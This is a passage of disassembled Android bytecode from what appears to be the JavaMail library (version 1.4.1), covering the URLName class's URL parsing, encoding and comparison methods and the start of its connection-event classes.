0000005A  invoke-virtual          BitSet->set(I)V, v0, v1
00000060  sget-object             v0, URLName->dontNeedEncoding:BitSet
00000064  const/16                v1, 0x2D
00000068  invoke-virtual          BitSet->set(I)V, v0, v1
0000006E  sget-object             v0, URLName->dontNeedEncoding:BitSet
00000072  const/16                v1, 0x5F
00000076  invoke-virtual          BitSet->set(I)V, v0, v1
0000007C  sget-object             v0, URLName->dontNeedEncoding:BitSet
00000080  const/16                v1, 0x2E
00000084  invoke-virtual          BitSet->set(I)V, v0, v1
0000008A  sget-object             v0, URLName->dontNeedEncoding:BitSet
0000008E  const/16                v1, 0x2A
00000092  invoke-virtual          BitSet->set(I)V, v0, v1
00000098  return-void
:9A
0000009A  sget-object             v1, URLName->dontNeedEncoding:BitSet
0000009E  invoke-virtual          BitSet->set(I)V, v1, v0
000000A4  add-int/lit8            v0, v0, 0x1
000000A8  goto                    :32
:AA
000000AA  sget-object             v1, URLName->dontNeedEncoding:BitSet
000000AE  invoke-virtual          BitSet->set(I)V, v1, v0
000000B4  add-int/lit8            v0, v0, 0x1
000000B8  goto                    :3E
:BA
000000BA  sget-object             v1, URLName->dontNeedEncoding:BitSet
000000BE  invoke-virtual          BitSet->set(I)V, v1, v0
000000C4  add-int/lit8            v0, v0, 0x1
000000C8  goto                    :4A
:CA
000000CA  move-exception          v0
000000CC  goto                    :1C
          .catch Exception {:6 .. :1C} :CA
.end method

.method public constructor <init>(String)V
          .registers 4
00000000  const/4                 v1, 0x0
00000002  invoke-direct           Object-><init>()V, p0
00000008  iput-boolean            v1, p0, URLName->hostAddressKnown:Z
0000000C  const/4                 v0, 0xFFFFFFFFFFFFFFFF
0000000E  iput                    v0, p0, URLName->port:I
00000012  iput                    v1, p0, URLName->hashCode:I
00000016  invoke-virtual          URLName->parseString(String)V, p0, p1
0000001C  return-void
.end method

.method public constructor <init>(String, String, I, String, String, String)V
          .registers 10
00000000  const/4                 v2, 0xFFFFFFFFFFFFFFFF
00000002  const/4                 v1, 0x0
00000004  invoke-direct           Object-><init>()V, p0
0000000A  iput-boolean            v1, p0, URLName->hostAddressKnown:Z
0000000E  iput                    v2, p0, URLName->port:I
00000012  iput                    v1, p0, URLName->hashCode:I
00000016  iput-object             p1, p0, URLName->protocol:String
0000001A  iput-object             p2, p0, URLName->host:String
0000001E  iput                    p3, p0, URLName->port:I
00000022  if-eqz                  p4, :7C
:26
00000026  const/16                v0, 0x23
0000002A  invoke-virtual          String->indexOf(I)I, p4, v0
00000030  move-result             v0
00000032  if-eq                   v0, v2, :7C
:36
00000036  invoke-virtual          String->substring(I, I)String, p4, v1, v0
0000003C  move-result-object      v1
0000003E  iput-object             v1, p0, URLName->file:String
00000042  add-int/lit8            v0, v0, 0x1
00000046  invoke-virtual          String->substring(I)String, p4, v0
0000004C  move-result-object      v0
0000004E  iput-object             v0, p0, URLName->ref:String
:52
00000052  sget-boolean            v0, URLName->doEncode:Z
00000056  if-eqz                  v0, :62
:5A
0000005A  invoke-static           URLName->encode(String)String, p5
00000060  move-result-object      p5
:62
00000062  iput-object             p5, p0, URLName->username:String
00000066  sget-boolean            v0, URLName->doEncode:Z
0000006A  if-eqz                  v0, :76
:6E
0000006E  invoke-static           URLName->encode(String)String, p6
00000074  move-result-object      p6
:76
00000076  iput-object             p6, p0, URLName->password:String
0000007A  return-void
:7C
0000007C  iput-object             p4, p0, URLName->file:String
00000080  const/4                 v0, 0x0
00000082  iput-object             v0, p0, URLName->ref:String
00000086  goto                    :52
.end method

.method public constructor <init>(URL)V
          .registers 3
00000000  invoke-virtual          URL->toString()String, p1
00000006  move-result-object      v0
00000008  invoke-direct           URLName-><init>(String)V, p0, v0
0000000E  return-void
.end method

.method private static _encode(String)String
          .registers 11
00000000  const/16                v9, 0x10
00000004  const/4                 v1, 0x0
00000006  const/16                v0, 0xA
0000000A  new-instance            v4, StringBuffer
0000000E  invoke-virtual          String->length()I, p0
00000014  move-result             v2
00000016  invoke-direct           StringBuffer-><init>(I)V, v4, v2
0000001C  new-instance            v5, ByteArrayOutputStream
00000020  invoke-direct           ByteArrayOutputStream-><init>(I)V, v5, v0
00000026  new-instance            v6, OutputStreamWriter
0000002A  invoke-direct           OutputStreamWriter-><init>(OutputStream)V, v6, v5
00000030  move                    v0, v1
:32
00000032  invoke-virtual          String->length()I, p0
00000038  move-result             v2
0000003A  if-lt                   v0, v2, :48
:3E
0000003E  invoke-virtual          StringBuffer->toString()String, v4
00000044  move-result-object      v0
00000046  return-object           v0
:48
00000048  invoke-virtual          String->charAt(I)C, p0, v0
0000004E  move-result             v2
00000050  sget-object             v3, URLName->dontNeedEncoding:BitSet
00000054  invoke-virtual          BitSet->get(I)Z, v3, v2
0000005A  move-result             v3
0000005C  if-eqz                  v3, :7A
:60
00000060  const/16                v3, 0x20
00000064  if-ne                   v2, v3, :6C
:68
00000068  const/16                v2, 0x2B
:6C
0000006C  int-to-char             v2, v2
0000006E  invoke-virtual          StringBuffer->append(C)StringBuffer, v4, v2
:74
00000074  add-int/lit8            v0, v0, 0x1
00000078  goto                    :32
:7A
0000007A  invoke-virtual          OutputStreamWriter->write(I)V, v6, v2
00000080  invoke-virtual          OutputStreamWriter->flush()V, v6
:86
00000086  invoke-virtual          ByteArrayOutputStream->toByteArray()[B, v5
0000008C  move-result-object      v7
0000008E  move                    v2, v1
:90
00000090  array-length            v3, v7
00000092  if-lt                   v2, v3, :A8
:96
00000096  invoke-virtual          ByteArrayOutputStream->reset()V, v5
0000009C  goto                    :74
:9E
0000009E  move-exception          v2
000000A0  invoke-virtual          ByteArrayOutputStream->reset()V, v5
000000A6  goto                    :74
:A8
000000A8  const/16                v3, 0x25
000000AC  invoke-virtual          StringBuffer->append(C)StringBuffer, v4, v3
000000B2  aget-byte               v3, v7, v2
000000B6  shr-int/lit8            v3, v3, 0x4
000000BA  and-int/lit8            v3, v3, 0xF
000000BE  invoke-static           Character->forDigit(I, I)C, v3, v9
000000C4  move-result             v3
000000C6  invoke-static           Character->isLetter(C)Z, v3
000000CC  move-result             v8
000000CE  if-eqz                  v8, :D8
:D2
000000D2  add-int/lit8            v3, v3, 0xFFFFFFFFFFFFFFE0
000000D6  int-to-char             v3, v3
:D8
000000D8  invoke-virtual          StringBuffer->append(C)StringBuffer, v4, v3
000000DE  aget-byte               v3, v7, v2
000000E2  and-int/lit8            v3, v3, 0xF
000000E6  invoke-static           Character->forDigit(I, I)C, v3, v9
000000EC  move-result             v3
000000EE  invoke-static           Character->isLetter(C)Z, v3
000000F4  move-result             v8
000000F6  if-eqz                  v8, :100
:FA
000000FA  add-int/lit8            v3, v3, 0xFFFFFFFFFFFFFFE0
000000FE  int-to-char             v3, v3
:100
00000100  invoke-virtual          StringBuffer->append(C)StringBuffer, v4, v3
00000106  add-int/lit8            v2, v2, 0x1
0000010A  goto                    :90
          .catch IOException {:7A .. :86} :9E
.end method

.method static decode(String)String
          .registers 5
00000000  if-nez                  p0, :8
:4
00000004  const/4                 p0, 0x0
:6
00000006  return-object           p0
:8
00000008  const-string            v0, "+%"
0000000C  invoke-static           URLName->indexOfAny(String, String)I, p0, v0
00000012  move-result             v0
00000014  const/4                 v1, 0xFFFFFFFFFFFFFFFF
00000016  if-eq                   v0, v1, :6
:1A
0000001A  new-instance            v1, StringBuffer
0000001E  invoke-direct           StringBuffer-><init>()V, v1
00000024  const/4                 v0, 0x0
:26
00000026  invoke-virtual          String->length()I, p0
0000002C  move-result             v2
0000002E  if-lt                   v0, v2, :54
:32
00000032  invoke-virtual          StringBuffer->toString()String, v1
00000038  move-result-object      v1
:3A
0000003A  const-string            v0, "8859_1"
0000003E  invoke-virtual          String->getBytes(String)[B, v1, v0
00000044  move-result-object      v2
00000046  new-instance            v0, String
0000004A  invoke-direct           String-><init>([B)V, v0, v2
:50
00000050  move-object             p0, v0
00000052  goto                    :6
:54
00000054  invoke-virtual          String->charAt(I)C, p0, v0
0000005A  move-result             v2
0000005C  sparse-switch           v2, :B8
:62
00000062  invoke-virtual          StringBuffer->append(C)StringBuffer, v1, v2
:68
00000068  add-int/lit8            v0, v0, 0x1
0000006C  goto                    :26
:6E
0000006E  const/16                v2, 0x20
00000072  invoke-virtual          StringBuffer->append(C)StringBuffer, v1, v2
00000078  goto                    :68
:7A
0000007A  add-int/lit8            v2, v0, 0x1
0000007E  add-int/lit8            v3, v0, 0x3
:82
00000082  invoke-virtual          String->substring(I, I)String, p0, v2, v3
00000088  move-result-object      v2
0000008A  const/16                v3, 0x10
0000008E  invoke-static           Integer->parseInt(String, I)I, v2, v3
00000094  move-result             v2
00000096  int-to-char             v2, v2
00000098  invoke-virtual          StringBuffer->append(C)StringBuffer, v1, v2
:9E
0000009E  add-int/lit8            v0, v0, 0x2
000000A2  goto                    :68
:A4
000000A4  move-exception          v0
000000A6  new-instance            v0, IllegalArgumentException
000000AA  invoke-direct           IllegalArgumentException-><init>()V, v0
000000B0  throw                   v0
:B2
000000B2  move-exception          v0
000000B4  move-object             v0, v1
000000B6  goto                    :50
          .catch UnsupportedEncodingException {:3A .. :50} :B2
          .catch NumberFormatException {:82 .. :9E} :A4
000000B8  .sparse-switch
              0x25 -> :7A
              0x2B -> :6E
          .end sparse-switch
.end method

.method static encode(String)String
          .registers 4
00000000  if-nez                  p0, :8
:4
00000004  const/4                 p0, 0x0
:6
00000006  return-object           p0
:8
00000008  const/4                 v0, 0x0
:A
0000000A  invoke-virtual          String->length()I, p0
00000010  move-result             v1
00000012  if-ge                   v0, v1, :6
:16
00000016  invoke-virtual          String->charAt(I)C, p0, v0
0000001C  move-result             v1
0000001E  const/16                v2, 0x20
00000022  if-eq                   v1, v2, :36
:26
00000026  sget-object             v2, URLName->dontNeedEncoding:BitSet
0000002A  invoke-virtual          BitSet->get(I)Z, v2, v1
00000030  move-result             v1
00000032  if-nez                  v1, :40
:36
00000036  invoke-static           URLName->_encode(String)String, p0
0000003C  move-result-object      p0
0000003E  goto                    :6
:40
00000040  add-int/lit8            v0, v0, 0x1
00000044  goto                    :A
.end method

.method private declared-synchronized getHostAddress()InetAddress
          .registers 3
00000000  const/4                 v0, 0x0
00000002  monitor-enter           p0
:4
00000004  iget-boolean            v1, p0, URLName->hostAddressKnown:Z
00000008  if-eqz                  v1, :14
:C
0000000C  iget-object             v0, p0, URLName->hostAddress:InetAddress
:10
00000010  monitor-exit            p0
00000012  return-object           v0
:14
00000014  iget-object             v1, p0, URLName->host:String
:18
00000018  if-eqz                  v1, :10
:1C
0000001C  iget-object             v0, p0, URLName->host:String
00000020  invoke-static           InetAddress->getByName(String)InetAddress, v0
00000026  move-result-object      v0
00000028  iput-object             v0, p0, URLName->hostAddress:InetAddress
:2C
0000002C  const/4                 v0, 0x1
:2E
0000002E  iput-boolean            v0, p0, URLName->hostAddressKnown:Z
00000032  iget-object             v0, p0, URLName->hostAddress:InetAddress
00000036  goto                    :10
:38
00000038  move-exception          v0
0000003A  const/4                 v0, 0x0
0000003C  iput-object             v0, p0, URLName->hostAddress:InetAddress
:40
00000040  goto                    :2C
:42
00000042  move-exception          v0
00000044  monitor-exit            p0
00000046  throw                   v0
          .catchall {:4 .. :10} :42
          .catchall {:14 .. :18} :42
          .catch UnknownHostException {:1C .. :2C} :38
          .catchall {:1C .. :2C} :42
          .catchall {:2E .. :40} :42
.end method

.method private static indexOfAny(String, String)I
          .registers 3
00000000  const/4                 v0, 0x0
00000002  invoke-static           URLName->indexOfAny(String, String, I)I, p0, p1, v0
00000008  move-result             v0
0000000A  return                  v0
.end method

.method private static indexOfAny(String, String, I)I
          .registers 7
00000000  const/4                 v1, 0xFFFFFFFFFFFFFFFF
:2
00000002  invoke-virtual          String->length()I, p0
00000008  move-result             v2
0000000A  move                    v0, p2
:C
0000000C  if-lt                   v0, v2, :14
:10
00000010  move                    v0, v1
:12
00000012  return                  v0
:14
00000014  invoke-virtual          String->charAt(I)C, p0, v0
0000001A  move-result             v3
0000001C  invoke-virtual          String->indexOf(I)I, p1, v3
:22
00000022  move-result             v3
00000024  if-gez                  v3, :12
:28
00000028  add-int/lit8            v0, v0, 0x1
0000002C  goto                    :C
:2E
0000002E  move-exception          v0
00000030  move                    v0, v1
00000032  goto                    :12
          .catch StringIndexOutOfBoundsException {:2 .. :22} :2E
.end method

.method public equals(Object)Z
          .registers 5
00000000  const/4                 v2, 0x0
00000002  instance-of             v0, p1, URLName
00000006  if-nez                  v0, :E
:A
0000000A  move                    v0, v2
:C
0000000C  return                  v0
:E
0000000E  check-cast              p1, URLName
00000012  iget-object             v0, p1, URLName->protocol:String
00000016  if-eqz                  v0, :2E
:1A
0000001A  iget-object             v0, p1, URLName->protocol:String
0000001E  iget-object             v1, p0, URLName->protocol:String
00000022  invoke-virtual          String->equals(Object)Z, v0, v1
00000028  move-result             v0
0000002A  if-nez                  v0, :32
:2E
0000002E  move                    v0, v2
00000030  goto                    :C
:32
00000032  invoke-direct           URLName->getHostAddress()InetAddress, p0
00000038  move-result-object      v0
0000003A  invoke-direct           URLName->getHostAddress()InetAddress, p1
00000040  move-result-object      v1
00000042  if-eqz                  v0, :5A
:46
00000046  if-eqz                  v1, :5A
:4A
0000004A  invoke-virtual          InetAddress->equals(Object)Z, v0, v1
00000050  move-result             v0
00000052  if-nez                  v0, :92
:56
00000056  move                    v0, v2
00000058  goto                    :C
:5A
0000005A  iget-object             v0, p0, URLName->host:String
0000005E  if-eqz                  v0, :82
:62
00000062  iget-object             v0, p1, URLName->host:String
00000066  if-eqz                  v0, :82
:6A
0000006A  iget-object             v0, p0, URLName->host:String
0000006E  iget-object             v1, p1, URLName->host:String
00000072  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
00000078  move-result             v0
0000007A  if-nez                  v0, :92
:7E
0000007E  move                    v0, v2
00000080  goto                    :C
:82
00000082  iget-object             v0, p0, URLName->host:String
00000086  iget-object             v1, p1, URLName->host:String
0000008A  if-eq                   v0, v1, :92
:8E
0000008E  move                    v0, v2
00000090  goto                    :C
:92
00000092  iget-object             v0, p0, URLName->username:String
00000096  iget-object             v1, p1, URLName->username:String
0000009A  if-eq                   v0, v1, :BE
:9E
0000009E  iget-object             v0, p0, URLName->username:String
000000A2  if-eqz                  v0, :BA
:A6
000000A6  iget-object             v0, p0, URLName->username:String
000000AA  iget-object             v1, p1, URLName->username:String
000000AE  invoke-virtual          String->equals(Object)Z, v0, v1
000000B4  move-result             v0
000000B6  if-nez                  v0, :BE
:BA
000000BA  move                    v0, v2
000000BC  goto                    :C
:BE
000000BE  iget-object             v0, p0, URLName->file:String
000000C2  if-nez                  v0, :E6
:C6
000000C6  const-string            v0, ""
:CA
000000CA  iget-object             v1, p1, URLName->file:String
000000CE  if-nez                  v1, :EC
:D2
000000D2  const-string            v1, ""
:D6
000000D6  invoke-virtual          String->equals(Object)Z, v0, v1
000000DC  move-result             v0
000000DE  if-nez                  v0, :F2
:E2
000000E2  move                    v0, v2
000000E4  goto                    :C
:E6
000000E6  iget-object             v0, p0, URLName->file:String
000000EA  goto                    :CA
:EC
000000EC  iget-object             v1, p1, URLName->file:String
000000F0  goto                    :D6
:F2
000000F2  iget                    v0, p0, URLName->port:I
000000F6  iget                    v1, p1, URLName->port:I
000000FA  if-eq                   v0, v1, :102
:FE
000000FE  move                    v0, v2
00000100  goto                    :C
:102
00000102  const/4                 v0, 0x1
00000104  goto                    :C
.end method

.method public getFile()String
          .registers 2
00000000  iget-object             v0, p0, URLName->file:String
00000004  return-object           v0
.end method

.method public getHost()String
          .registers 2
00000000  iget-object             v0, p0, URLName->host:String
00000004  return-object           v0
.end method

.method public getPassword()String
          .registers 2
00000000  sget-boolean            v0, URLName->doEncode:Z
00000004  if-eqz                  v0, :16
:8
00000008  iget-object             v0, p0, URLName->password:String
0000000C  invoke-static           URLName->decode(String)String, v0
00000012  move-result-object      v0
:14
00000014  return-object           v0
:16
00000016  iget-object             v0, p0, URLName->password:String
0000001A  goto                    :14
.end method

.method public getPort()I
          .registers 2
00000000  iget                    v0, p0, URLName->port:I
00000004  return                  v0
.end method

.method public getProtocol()String
          .registers 2
00000000  iget-object             v0, p0, URLName->protocol:String
00000004  return-object           v0
.end method

.method public getRef()String
          .registers 2
00000000  iget-object             v0, p0, URLName->ref:String
00000004  return-object           v0
.end method

.method public getURL()URL
          .registers 6
00000000  new-instance            v0, URL
00000004  invoke-virtual          URLName->getProtocol()String, p0
0000000A  move-result-object      v1
0000000C  invoke-virtual          URLName->getHost()String, p0
00000012  move-result-object      v2
00000014  invoke-virtual          URLName->getPort()I, p0
0000001A  move-result             v3
0000001C  invoke-virtual          URLName->getFile()String, p0
00000022  move-result-object      v4
00000024  invoke-direct           URL-><init>(String, String, I, String)V, v0, v1, v2, v3, v4
0000002A  return-object           v0
.end method

.method public getUsername()String
          .registers 2
00000000  sget-boolean            v0, URLName->doEncode:Z
00000004  if-eqz                  v0, :16
:8
00000008  iget-object             v0, p0, URLName->username:String
0000000C  invoke-static           URLName->decode(String)String, v0
00000012  move-result-object      v0
:14
00000014  return-object           v0
:16
00000016  iget-object             v0, p0, URLName->username:String
0000001A  goto                    :14
.end method

.method public hashCode()I
          .registers 4
00000000  iget                    v0, p0, URLName->hashCode:I
00000004  if-eqz                  v0, :E
:8
00000008  iget                    v0, p0, URLName->hashCode:I
:C
0000000C  return                  v0
:E
0000000E  iget-object             v0, p0, URLName->protocol:String
00000012  if-eqz                  v0, :2C
:16
00000016  iget                    v0, p0, URLName->hashCode:I
0000001A  iget-object             v1, p0, URLName->protocol:String
0000001E  invoke-virtual          String->hashCode()I, v1
00000024  move-result             v1
00000026  add-int/2addr           v0, v1
00000028  iput                    v0, p0, URLName->hashCode:I
:2C
0000002C  invoke-direct           URLName->getHostAddress()InetAddress, p0
00000032  move-result-object      v0
00000034  if-eqz                  v0, :9A
:38
00000038  iget                    v1, p0, URLName->hashCode:I
0000003C  invoke-virtual          InetAddress->hashCode()I, v0
00000042  move-result             v0
00000044  add-int/2addr           v0, v1
00000046  iput                    v0, p0, URLName->hashCode:I
:4A
0000004A  iget-object             v0, p0, URLName->username:String
0000004E  if-eqz                  v0, :68
:52
00000052  iget                    v0, p0, URLName->hashCode:I
00000056  iget-object             v1, p0, URLName->username:String
0000005A  invoke-virtual          String->hashCode()I, v1
00000060  move-result             v1
00000062  add-int/2addr           v0, v1
00000064  iput                    v0, p0, URLName->hashCode:I
:68
00000068  iget-object             v0, p0, URLName->file:String
0000006C  if-eqz                  v0, :86
:70
00000070  iget                    v0, p0, URLName->hashCode:I
00000074  iget-object             v1, p0, URLName->file:String
00000078  invoke-virtual          String->hashCode()I, v1
0000007E  move-result             v1
00000080  add-int/2addr           v0, v1
00000082  iput                    v0, p0, URLName->hashCode:I
:86
00000086  iget                    v0, p0, URLName->hashCode:I
0000008A  iget                    v1, p0, URLName->port:I
0000008E  add-int/2addr           v0, v1
00000090  iput                    v0, p0, URLName->hashCode:I
00000094  iget                    v0, p0, URLName->hashCode:I
00000098  goto                    :C
:9A
0000009A  iget-object             v0, p0, URLName->host:String
0000009E  if-eqz                  v0, :4A
:A2
000000A2  iget                    v0, p0, URLName->hashCode:I
000000A6  iget-object             v1, p0, URLName->host:String
000000AA  sget-object             v2, Locale->ENGLISH:Locale
000000AE  invoke-virtual          String->toLowerCase(Locale)String, v1, v2
000000B4  move-result-object      v1
000000B6  invoke-virtual          String->hashCode()I, v1
000000BC  move-result             v1
000000BE  add-int/2addr           v0, v1
000000C0  iput                    v0, p0, URLName->hashCode:I
000000C4  goto                    :4A
.end method

.method protected parseString(String)V
          .registers 10
00000000  const/16                v7, 0x3A
00000004  const/4                 v6, 0x0
00000006  const/4                 v5, 0xFFFFFFFFFFFFFFFF
00000008  const/4                 v0, 0x0
0000000A  iput-object             v0, p0, URLName->password:String
0000000E  iput-object             v0, p0, URLName->username:String
00000012  iput-object             v0, p0, URLName->host:String
00000016  iput-object             v0, p0, URLName->ref:String
0000001A  iput-object             v0, p0, URLName->file:String
0000001E  iput-object             v0, p0, URLName->protocol:String
00000022  iput                    v5, p0, URLName->port:I
00000026  invoke-virtual          String->length()I, p1
0000002C  move-result             v1
0000002E  invoke-virtual          String->indexOf(I)I, p1, v7
00000034  move-result             v0
00000036  if-eq                   v0, v5, :46
:3A
0000003A  invoke-virtual          String->substring(I, I)String, p1, v6, v0
00000040  move-result-object      v2
00000042  iput-object             v2, p0, URLName->protocol:String
:46
00000046  add-int/lit8            v2, v0, 0x1
0000004A  const-string            v3, "//"
0000004E  const/4                 v4, 0x2
00000050  invoke-virtual          String->regionMatches(I, String, I, I)Z, p1, v2, v3, v6, v4
00000056  move-result             v2
00000058  if-eqz                  v2, :1BE
:5C
0000005C  const/16                v2, 0x2F
00000060  add-int/lit8            v3, v0, 0x3
00000064  invoke-virtual          String->indexOf(I, I)I, p1, v2, v3
0000006A  move-result             v2
0000006C  if-eq                   v2, v5, :190
:70
00000070  add-int/lit8            v0, v0, 0x3
00000074  invoke-virtual          String->substring(I, I)String, p1, v0, v2
0000007A  move-result-object      v0
0000007C  add-int/lit8            v3, v2, 0x1
00000080  if-ge                   v3, v1, :186
:84
00000084  add-int/lit8            v1, v2, 0x1
00000088  invoke-virtual          String->substring(I)String, p1, v1
0000008E  move-result-object      v1
00000090  iput-object             v1, p0, URLName->file:String
:94
00000094  const/16                v1, 0x40
00000098  invoke-virtual          String->indexOf(I)I, v0, v1
0000009E  move-result             v1
000000A0  if-eq                   v1, v5, :E0
:A4
000000A4  invoke-virtual          String->substring(I, I)String, v0, v6, v1
000000AA  move-result-object      v2
000000AC  add-int/lit8            v1, v1, 0x1
000000B0  invoke-virtual          String->substring(I)String, v0, v1
000000B6  move-result-object      v0
000000B8  invoke-virtual          String->indexOf(I)I, v2, v7
000000BE  move-result             v1
000000C0  if-eq                   v1, v5, :1A0
:C4
000000C4  invoke-virtual          String->substring(I, I)String, v2, v6, v1
000000CA  move-result-object      v3
000000CC  iput-object             v3, p0, URLName->username:String
000000D0  add-int/lit8            v1, v1, 0x1
000000D4  invoke-virtual          String->substring(I)String, v2, v1
000000DA  move-result-object      v1
000000DC  iput-object             v1, p0, URLName->password:String
:E0
000000E0  invoke-virtual          String->length()I, v0
000000E6  move-result             v1
000000E8  if-lez                  v1, :1A6
:EC
000000EC  invoke-virtual          String->charAt(I)C, v0, v6
000000F2  move-result             v1
000000F4  const/16                v2, 0x5B
000000F8  if-ne                   v1, v2, :1A6
:FC
000000FC  const/16                v1, 0x5D
00000100  invoke-virtual          String->indexOf(I)I, v0, v1
00000106  move-result             v1
00000108  invoke-virtual          String->indexOf(I, I)I, v0, v7, v1
0000010E  move-result             v1
:110
00000110  if-eq                   v1, v5, :1B8
:114
00000114  add-int/lit8            v2, v1, 0x1
00000118  invoke-virtual          String->substring(I)String, v0, v2
0000011E  move-result-object      v2
00000120  invoke-virtual          String->length()I, v2
00000126  move-result             v3
00000128  if-lez                  v3, :138
:12C
0000012C  invoke-static           Integer->parseInt(String)I, v2
00000132  move-result             v2
00000134  iput                    v2, p0, URLName->port:I
:138
00000138  invoke-virtual          String->substring(I, I)String, v0, v6, v1
0000013E  move-result-object      v0
00000140  iput-object             v0, p0, URLName->host:String
:144
00000144  iget-object             v0, p0, URLName->file:String
00000148  if-eqz                  v0, :184
:14C
0000014C  iget-object             v0, p0, URLName->file:String
00000150  const/16                v1, 0x23
00000154  invoke-virtual          String->indexOf(I)I, v0, v1
0000015A  move-result             v0
0000015C  if-eq                   v0, v5, :184
:160
00000160  iget-object             v1, p0, URLName->file:String
00000164  add-int/lit8            v2, v0, 0x1
00000168  invoke-virtual          String->substring(I)String, v1, v2
0000016E  move-result-object      v1
00000170  iput-object             v1, p0, URLName->ref:String
00000174  iget-object             v1, p0, URLName->file:String
00000178  invoke-virtual          String->substring(I, I)String, v1, v6, v0
0000017E  move-result-object      v0
00000180  iput-object             v0, p0, URLName->file:String
:184
00000184  return-void
:186
00000186  const-string            v1, ""
0000018A  iput-object             v1, p0, URLName->file:String
0000018E  goto                    :94
:190
00000190  add-int/lit8            v0, v0, 0x3
00000194  invoke-virtual          String->substring(I)String, p1, v0
0000019A  move-result-object      v0
0000019C  goto/16                 :94
:1A0
000001A0  iput-object             v2, p0, URLName->username:String
000001A4  goto                    :E0
:1A6
000001A6  invoke-virtual          String->indexOf(I)I, v0, v7
000001AC  move-result             v1
000001AE  goto                    :110
:1B0
000001B0  move-exception          v2
000001B2  iput                    v5, p0, URLName->port:I
000001B6  goto                    :138
:1B8
000001B8  iput-object             v0, p0, URLName->host:String
000001BC  goto                    :144
:1BE
000001BE  add-int/lit8            v2, v0, 0x1
000001C2  if-ge                   v2, v1, :144
:1C6
000001C6  add-int/lit8            v0, v0, 0x1
000001CA  invoke-virtual          String->substring(I)String, p1, v0
000001D0  move-result-object      v0
000001D2  iput-object             v0, p0, URLName->file:String
000001D6  goto                    :144
          .catch NumberFormatException {:12C .. :138} :1B0
.end method

.method public toString()String
          .registers 4
00000000  iget-object             v0, p0, URLName->fullURL:String
00000004  if-nez                  v0, :104
:8
00000008  new-instance            v0, StringBuffer
0000000C  invoke-direct           StringBuffer-><init>()V, v0
00000012  iget-object             v1, p0, URLName->protocol:String
00000016  if-eqz                  v1, :2E
:1A
0000001A  iget-object             v1, p0, URLName->protocol:String
0000001E  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v1
00000024  const-string            v1, ":"
00000028  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v1
:2E
0000002E  iget-object             v1, p0, URLName->username:String
00000032  if-nez                  v1, :3E
:36
00000036  iget-object             v1, p0, URLName->host:String
0000003A  if-eqz                  v1, :CA
:3E
0000003E  const-string            v1, "//"
00000042  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v1
00000048  iget-object             v1, p0, URLName->username:String
0000004C  if-eqz                  v1, :80
:50
00000050  iget-object             v1, p0, URLName->username:String
00000054  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v1
0000005A  iget-object             v1, p0, URLName->password:String
0000005E  if-eqz                  v1, :76
:62
00000062  const-string            v1, ":"
00000066  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v1
0000006C  iget-object             v1, p0, URLName->password:String
00000070  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v1
:76
00000076  const-string            v1, "@"
0000007A  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v1
:80
00000080  iget-object             v1, p0, URLName->host:String
00000084  if-eqz                  v1, :92
:88
00000088  iget-object             v1, p0, URLName->host:String
0000008C  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v1
:92
00000092  iget                    v1, p0, URLName->port:I
00000096  const/4                 v2, 0xFFFFFFFFFFFFFFFF
00000098  if-eq                   v1, v2, :B8
:9C
0000009C  const-string            v1, ":"
000000A0  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v1
000000A6  iget                    v1, p0, URLName->port:I
000000AA  invoke-static           Integer->toString(I)String, v1
000000B0  move-result-object      v1
000000B2  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v1
:B8
000000B8  iget-object             v1, p0, URLName->file:String
000000BC  if-eqz                  v1, :CA
:C0
000000C0  const-string            v1, "/"
000000C4  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v1
:CA
000000CA  iget-object             v1, p0, URLName->file:String
000000CE  if-eqz                  v1, :DC
:D2
000000D2  iget-object             v1, p0, URLName->file:String
000000D6  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v1
:DC
000000DC  iget-object             v1, p0, URLName->ref:String
000000E0  if-eqz                  v1, :F8
:E4
000000E4  const-string            v1, "#"
000000E8  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v1
000000EE  iget-object             v1, p0, URLName->ref:String
000000F2  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v1
:F8
000000F8  invoke-virtual          StringBuffer->toString()String, v0
000000FE  move-result-object      v0
00000100  iput-object             v0, p0, URLName->fullURL:String
:104
00000104  iget-object             v0, p0, URLName->fullURL:String
00000108  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class Version
.super Object
.source ""

.field public static final version:String = "1.4.1"

.method constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

#--------------------------------------------------------------------------------
.class public abstract interface ConnectionListener
.super Object
.source ""

.implements EventListener

.method public abstract closed(ConnectionEvent)V
.end method

.method public abstract disconnected(ConnectionEvent)V
.end method

.method public abstract opened(ConnectionEvent)V
.end method

#--------------------------------------------------------------------------------
.class public abstract ConnectionAdapter
.super Object
.source ""

.implements ConnectionListener

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method public closed(ConnectionEvent)V
          .registers 2
00000000  return-void
.end method

.method public disconnected(ConnectionEvent)V
          .registers 2
00000000  return-void
.end method

.method public opened(ConnectionEvent)V
          .registers 2
00000000  return-void
.end method

#--------------------------------------------------------------------------------
.class public ConnectionEvent
.super MailEvent
.source ""

.field public static final CLOSED:I = 0x3
.field public static final DISCONNECTED:I = 0x2
.field public static final OPENED:I = 0x1
.field private static final serialVersionUID:J = 0xE640029D6EC9F983L
.field protected type:I

.method public constructor <init>(Object, I)V
          .registers 3
00000000  invoke-direct           MailEvent-><init>(Object)V, p0, p1
00000006  iput                    p2, p0, ConnectionEvent->type:I
0000000A  return-void
.end method

.method public dispatch(Object)V
          .registers 4
00000000  iget                    v0, p0, ConnectionEvent->type:I
00000004  const/4                 v1, 0x1
00000006  if-ne                   v0, v1, :16
:A
0000000A  check-cast              p1, ConnectionListener
0000000E  invoke-interface        ConnectionListener->opened(ConnectionEvent)V, p1, p0
:14
00000014  return-void
:16
00000016  iget                    v0, p0, ConnectionEvent->type:I
